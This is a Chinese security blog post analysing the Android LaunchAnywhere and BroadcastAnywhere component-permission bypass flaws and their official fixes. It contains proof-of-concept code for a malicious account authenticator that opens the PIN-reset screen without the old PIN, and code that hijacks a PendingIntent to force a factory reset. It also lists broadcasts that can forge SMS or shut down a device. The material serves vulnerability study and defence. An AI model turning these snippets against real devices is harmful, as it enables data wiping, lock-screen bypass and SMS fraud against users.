androidlaunchanywhere组件权限绕过漏洞(代码片段)

Tr0e Tr0e     2022-12-01     303

关键词:

文章目录

前言

Android APP 应用的攻击面多数集中在对外暴露(exported="true”)的四大组件(Activity、Service、ContentProvider、BroadcastReceiver)上,当组件设置 exported=“false” 或者是添加了权限保护的情况下,三方应用程序无法直接访问该组件,也就很难去借助该类组件攻击 APP。

但是对于系统应用(具有系统签名、uid = system,所以具备行使 system 的权力)而言,它们是往往具有无视组件 exported=“false” 属性的能力的,可想而知,如果此类 app 存在可以被攻击者控制的漏洞的话,将使得攻击者 APP 也获得访问系统任意 APP 组件的能力,即本文想要讨论的 LaunchAnywhere。

Android组件调用权限检查

在 Android 中,可以说 System 用户拥有相当高的权限,通过阅读源码可以发现,所有 permissoin 检查的地方都是直接放行 System 用户的,具体见代码 ActivityManagerService.checkComponentPermission :

通过源码可以看到,对于 System 用户可以完全无视权限检查,不管组件是否为 exported=true,直接返回PERMISSION_GRANTED

LaunchAnyWhere

Google 曾经修复了一个组件安全的漏洞 LaunchAnyWhere(Google Bug 7699048)。这个漏洞属于 Intend Based 提取漏洞,攻击者利用这个漏洞,可以突破了应用间的权限隔离,达到调用任意私有 Activity(exported=false)的目的。该漏洞影响 Android 2.3 至 4.3 固件。

Account 管理机制

从 Android2.0 开始,系统引入了 Account 管理机制,详细使用说明见 Android 官方文档。Account 管理机制提供了集中化管理帐户 API 以及安全存储用户口令和令牌的功能。在系统中,可以同时存在多个帐户(可通过”设置-添加帐户”可以查看),比如 Google、Miscrosoft Exchange、微信、支付宝、陌陌等等。

如果想要出现在这个页面里,应用需要声明一个账户认证服务 AuthenticationService:

<service
     android:name=".authenticator.AuthenticationService"
     android:exported="true">
     <intent-filter>
         <action android:name="android.accounts.AccountAuthenticator" />
     </intent-filter>
     <meta-data 
          android:name="android.accounts.AccountAuthenticator"
          android:resource="@xml/authenticator" />
</service>

历史漏洞原理分析

普通应用(记为 AppA)去请求添加某类账户时,会调用 AccountManager.addAccount,然后 AccountManager 会去查找提供账号的应用(记为 AppB)的 Authenticator 类,调用 Authenticator. addAccount 方法;AppA 再根据 AppB 返回的 Intent 去调起 AppB 的账户登录界面。

具体的代码,AccountManager.addAccount:

注意到 addAccount 函数最后执行一个 AmsTask 的异步任务,mRespone 是一个 Binder 对象,当 AuthenticationService 指定 Intent 后,就是把 Intent 保存到这个 respone 对象里,然后在 Response 中直接调用 startActivity:

我们可以将这个流程转化为一个比较简单的事实:

  1. AppA 请求添加一个特定类型的网络账号;
  2. 系统查询到 AppB 可以提供一个该类型的网络账号服务,系统向 AppB 发起请求;
  3. AppB 返回了一个 intent 给系统,系统把 intent 转发给 appA;
  4. AccountManagerResponse 在 AppA 的进程空间内调用 startActivity(intent) 调起一个 Activity,AccountManagerResponse 是 FrameWork 中的代码, AppA 对这一调用毫不知情

这种设计的本意是,AccountManager Service 帮助 AppA 查找到 AppB 账号登陆页面,并呼起这个登陆页面。而问题在于,AppB 可以任意指定这个 intent 所指向的组件,AppA 将在不知情的情况下由AccountManagerResponse 调用起了一个 Activity。如果 AppA 是一个 system 权限应用(比如Settings),那么 AppA 能够调用起任意 AppB 指定的未导出 Activity。

而为了指定拉起任意组件,Step 3 中 AppB 返回 bundle 的代码可以如下:

public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
            String authTokenType, String[] requiredFeatures, Bundle options) 
        Intent intent = new Intent();
        intent.setComponent(new ComponentName(
                "com.trick.trick ",
                   " com.trick. trick.AnyWhereActivity"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;

如何利用上述漏洞?

上文已经提到过,如果假设 AppA 是Settings,AppB 是攻击程序。那么只要能让 Settings 触发 addAcount 的操作,就能够让 AppB launchAnyWhere。而问题是,怎么才能让 Settings 触发添加账户呢?

如果从“设置->添加账户”的页面去触发,则需要用户手工点击才能触发,这样攻击的成功率将大大降低,因为一般用户是很少从这里添加账户的,用户往往习惯直接从应用本身登录。不过现在就放弃还太早,其实 Settings 早已经给我们留下触发接口。只要我们调用 com.android.settings.accounts.AddAccountSettings,并给 Intent 带上特定的参数,即可让 Settings 触发 launchAnyWhere:

Intent intent1 = new Intent();
intent1.setComponent(new ComponentName("com.android.settings",
        "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = Constants.ACCOUNT_TYPE;
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);

漏洞利用的流程示意图如下:

漏洞的利用与防御

主要的攻击对象还是应用中未导出的 Activity,特别是包含了一些 intenExtra 的 Activity。

比如绕过手机 pin 码原密码的认证界面,直接拉起输入新密码的 Activity 从而直接重置手机系统 pin 码:

intent.setComponent(new ComponentName("com.android.settings",
                  "com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;

即借助 Setting 拉起如下页面:

Android 历史上也还发生过另外一种可以以上拉起 Pin 码重置页面的漏洞,参见 [翻译]Android框架层漏洞-Fragment注入,漏洞太古老且没多大参考价值,此处不展开。

漏洞的修复

这个漏洞在 4.4 上已经修复,看看修复的代码,可以找到防御的思路:

public void onResult(Bundle result) 
             mNumResults++;
-            if (result != null && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) 
+            Intent intent = null;
+            if (result != null
+                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) 
+                /*
+                 * The Authenticator API allows third party authenticators to
+                 * supply arbitrary intents to other apps that they can run,
+                 * this can be very bad when those apps are in the system like
+                 * the System Settings.
+                 */
+                PackageManager pm = mContext.getPackageManager();
+                ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
+                int targetUid = resolveInfo.activityInfo.applicationInfo.uid;
+                int authenticatorUid = Binder.getCallingUid();
+                if (PackageManager.SIGNATURE_MATCH !=
+                        pm.checkSignatures(authenticatorUid, targetUid)) 
+                    throw new SecurityException(
+                            "Activity to be started with KEY_INTENT must " +
+                            "share Authenticator's signatures");
+                
+            
+            if (result != null
+                    && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) 
                 String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME);
                 String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE);
                 if (!TextUtils.isEmpty(accountName) && !TextUtils.isEmpty(accountType)) 
@@ -2223,6 +2276,7 @@
             super(looper);
         

由于 Resopne 是一个 Binder 对象,因此当 onResult 被回调时,可以通过 Binder.getCallingUid() 获取 authenticatorUid,如果 targetUid 跟 authenticatorUid 不相同,则直接对 AuthenticationService 抛异常。

BroadcastAnywhere

与 LaunchAnywhere 原理相似,通过这个漏洞,攻击者可以无视 BroadcastReceiver 组件访问限制,以 system 用户的身份发送广播。

与 LaunchAnywhere 相比,这两个漏洞的相同点在于:

  1. 都是利用了 addAccount 这个机制,一个恶意 app 通过注册为 account 的 authenticator 并处理某账号类型,然后发送 intent 给 settings app,让其添加该特定类型的账号。
  2. 都是利用 settings 这个应用具有 SYSTEM 权限,诱使 settings 来发送一个高权限的 intent。

两个漏洞的不同点在于:

  1. 本质原理不同:一个是恶意 app 返回一个 intent 被 settings launch,另外一个是 settings 发出一个 pendingintent 给恶意 app,而恶意 app 利用 pendingintent 的特点来修改 pendingitent 的 action 与 extras,并以 settings 的身份发出
  2. 漏洞代码位置不同:一个是 accountmanger 中,一个是 settings 中;
  3. 后果不同:launchAnywhere 是以 system 权限启动 activity,而 broadcastAnywhere 是一个 system 权限发送 broadcast,前者往往需要界面,而后者不需要界面。

漏洞具体原理分析

关于 PendingIntent,简单理解是一种异步发送的 intent,通常被使用在通知 Notification 的回调,短消息 SmsManager 的回调和警报器 AlarmManager 的执行等等,是一种使用非常广的机制。其具体使用和威胁可以参见我的另一篇博文:PendingIntent劫持导致app任意文件读写漏洞

PendingIntent 的安全风险主要发生在下面两个条件同时满足的场景下:

  1. 构造 PendingIntent 时的原始 Intent 既没有指定 Component,也没有指定 action;
  2. 将 PendingIntent 泄露给第三方。

如果原始 Intent 的 Component 与 action 都为空(“双无”Intent),B 就可以通过修改 action 来将 Intent 发送向那些声明了 intent filter 的组件,如果 A 是一个有高权限的 APP(如 settings 就具有 SYSTEM 权限),B 就可以以 A 的身份做很多事情。

在Android 4.4 版本的 settings 系统应用 AddAccountSettings 类的 addAccount 函数:

可见一个 mPendingIntent 是通过 new Intent() 构造原始 Intent 的,所以为“双无” Intent,这个 PendingIntent 最终被通过 AccountManager.addAccount 方法传递给了恶意 APP 。

漏洞利用

最初报告这个漏洞给 Android 时,用的伪造短信的 POC,例如可以伪造 10086 发送的短信,这与收到正常短信的表象完全一致。后来又更新了一个 Factory Reset 的 POC,可以强制无任何提示将用户手机恢复到出厂设置,清空短信与通信录等用户数据,恶意 APP 的接口代码片段如下:

@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException 
   //这里通过getParcelable(“pendingintent”)就获得了settings传过来的“双无”PendingIntent:
   PendingIntent test = (PendingIntent)options.getParcelable("pendingIntent"); 
   Intent newIntent2 = new Intent("android.intent.action.MASTER_CLEAR");
   try 
       test.send(mContext, 0, newIntent2, null, null);
    catch (CanceledException e) 
       e.printStackTrace();
   

事实上可利用的广播实在太多了,比如:

  1. 发送 android.provider.Telephony.SMS_DELIVER 能够伪造接收短信;
  2. 发送 android.intent.action.ACTION_SHUTDOWN 能够直接关机;
  3. 发送 android.intent.action.MASTER_CLEAR 广播,设备将恢复至出厂设置。

攻击者通过漏洞能够伪造亲朋好友或者银行电商的短信。跟正常的短信全然无异,普通用户根本无法甄别。除了伪造短信外,攻击者能够利用该漏洞恢复出厂设置等。

漏洞官方修复方案

在 Android 5.0 的源码中,修复方法是设置了一个虚构的 Action 与 Component,参见 Android源码

总结

总结下上述两个漏洞的根因:

  1. LaunchAnywhere 漏洞:在于系统服务 AccountManager Server “自作主张”调用 StartActivity 以 Settings 系统应用的进程身份帮助其拉起了攻击者可控的 Intent,最终导致攻击者可以借助系统应用 Settings 的权限来拉起任意组件;
  2. BroadcastReceiver 漏洞:在于系统应用 Settings 发送一个未设置 action/componnent 的 PendingIntent 给到三方应用程序,最终导致攻击者可以借助系统应用 Settings 的权限来发送任意广播。

两个漏洞给我们安全测试/开发人员的启示:

  1. Android 系统服务并不是“坚不可摧”、“密不透风”的,安全审计过程中如果发现框架层的系统服务存在漏洞,往往能够“大杀四方”;
  2. Android 系统应用具有特殊的高规格权限,能够拉起任意组件的能力如果被攻击者利用,那么后果是十分可怕的;
  3. PendingIntent 具有将发送方 appA 的权限的传递给接收方的能力,这直接决定了 PendingIntent 劫持类型的漏洞作用在系统应用上时,恶意应用将获得极大的权力。

最后,希望我也能早日挖到这类性质的漏洞吧哈哈…

androidlaunchanywhere组件权限绕过漏洞(代码片段)

文章目录前言LaunchAnyWhereAccount管理机制历史漏洞原理分析漏洞的利用与防御BroadcastAnywhere漏洞具体原理分析漏洞官方修复方案总结前言AndroidAPP应用的攻击面多数集中在对外暴露(exported="true”)的四大组件(Activ... 查看详情

权限组件目录

  权限组件之表设计 权限组件之录入数据 权限组件之录入获取登入用户的所有权限  查看详情

rbac基于角色的权限控制组件目录

   权限组件之表设计 权限组件之录入数据 权限组件之获取登入用户的所有权限 权限组件之将登录用户权限写入到session中 session源码 权限组件之粒度到按钮级别1 权限组件之粒度到按钮级别2 ... 查看详情

权限组件(代码片段)

目录权限组件系统权限类使用权限组件项目使用:VIP用户权限特殊路由映射的请求权限组件重点1权限规则2如何自定义权限3我们一般在视图类中局部配置drf提供的权限类,但是也会自定义权限类完成局部配置自定义权限类1自定... 查看详情

Vue.js 组件 + Laravel 权限管理

】Vue.js组件+Laravel权限管理【英文标题】:Vue.jscomponents+Laravelrightmanagement【发布时间】:2018-01-0811:43:50【问题描述】:我不确定如何继续使用Vue单文件组件以及Laravel的权限管理插件。一般来说,我在不同的页面上加载组件,但是... 查看详情

drf三大认证:认证组件-权限组件-权限六表-自定义认证组件的使用(代码片段)

...入口:    内部的三大认证方法封装:三大组件的原理分析:  权限六表分析  基于用户权限访问控制的认证(RBAC):Role-Based-Access-Control;基于auth的认证规则(了解)。Django框架采用的是RBAC认证规则:通... 查看详情

认证组件权限组件频率组件(代码片段)

认证组件、权限组件、频率组件一、Django权限六张表1.1、content_type表"""Course:name、type、days、price、vip_type基础免费课70中级学位课18069究极会员课360至尊会员Course:name、type、days、content_type_id基础免费课7null中级学位... 查看详情

权限组件应用

4.权限组件的应用**1.拷贝rbac组件到新项目中,并且注册2.迁移数据库1.修改rbac用户表ManyToManyField中关联写上Role,不要写字符串```classUser(models.Model):"""用户表"""#name=models.CharField(‘用户名‘,max_length=32)#pwd=models.CharField(‘密码‘,max_... 查看详情

Joomla 组件不显示权限操作

】Joomla组件不显示权限操作【英文标题】:Joomlacomponentdoesn\'tshowPermissionsactions【发布时间】:2014-09-1408:36:09【问题描述】:我正在创建一个新组件,该组件具有Permissions选项卡,就像使用config.xml和access.xml文件的其他组件一样。... 查看详情

权限(代码片段)

本篇阅读目录一、权限组件二、动态显示权限菜单(单级菜单)三、补充知识点回到顶部一、权限组件1、上篇随笔中,我们只是设计好了权限控制的表结构,有三个模型,五张表,两个多对多关系,并且简单实现了对用户的权... 查看详情

drf-jwt认证组件权限组件频率组件的使用(代码片段)

目录drf-jwt认证组件、权限组件、频率组件的使用认证组件权限组件频率组件drf-jwt签发token源码分析自定义签发token实现多方式登录源码分析多方式登陆签发token实例频率组件自定义频率类drf-jwt认证组件、权限组件、频率组件的使... 查看详情

django之权限管理公共组件(代码片段)

公共组件使用公共组件的基本搭建在上一篇已经是学习如何搭建一个公共组件,可以拷贝到任何项目里面,实现权限的管理工作,今天再次学习下公共组件的使用新建一个项目,并把公共组件拷贝到新项目中取,并且在setting中... 查看详情

面向对象权限配置组件(面向对象编程组件化开发)

1.组件结构 2.页面调用<!DOCTYPEhtml><htmllang="en"><head> <metacharset="UTF-8"> <title>面向对象权限配置组件</title> <linkrel="stylesheet"type="text/css"href="assets/UserRoleSe 查看详情

drf框架8系统权限类使用用户中心信息自查token刷新机制认证组件项目使用:多方式登录权限组件项目使用:vip用户权限频率组件异常组件项目使用(代码片段)

...信息自查,不带主键的get请求,走单查逻辑urls.py#用路由组件配置,形成的映射关系是/user/center/=>list|user/center/(pk)/=>retrieve#router.register(‘user/center‘,views.UserCenterViewSet,‘center‘)urlpatterns=[#...#/user/center/=>单查,不能走路由... 查看详情

三大认证之认证组件和权限组件(代码片段)

...args,**kwargs)2.dispath方法内self.initial(request,*args,**kwargs)#认证组件:校验用户-游客,合法用户,非法用户#游客:代表着校验已经通过,直接进入下一步校验(权限校验)#合法用户:代表校验通过,将数据保存在request.user中,在进行下一步校验(权... 查看详情

权限组件之粒度到按钮级别

1.2.3.4.5.6.7.8.9.10.  查看详情

权限组件之录入获取登入用户的所有权限

 权限组件之录入获取登入用户的所有权限1.urls.py 2.views.py get请求 3.login.html页面 post请求4.用户名或密码错误重新登入验证用户名密码  登入成功之后做什么呢???  session5.登入成功可以写session... 查看详情

gcloud 组件更新权限被拒绝

】gcloud组件更新权限被拒绝【英文标题】:gcloudcomponentsupdatepermissiondenied【发布时间】:2018-08-1900:47:21【问题描述】:突然间,我在尝试运行任何gcloud命令(例如gcloudcomponentsupdate)时开始出现“权限被拒绝”问题——如果我运行... 查看详情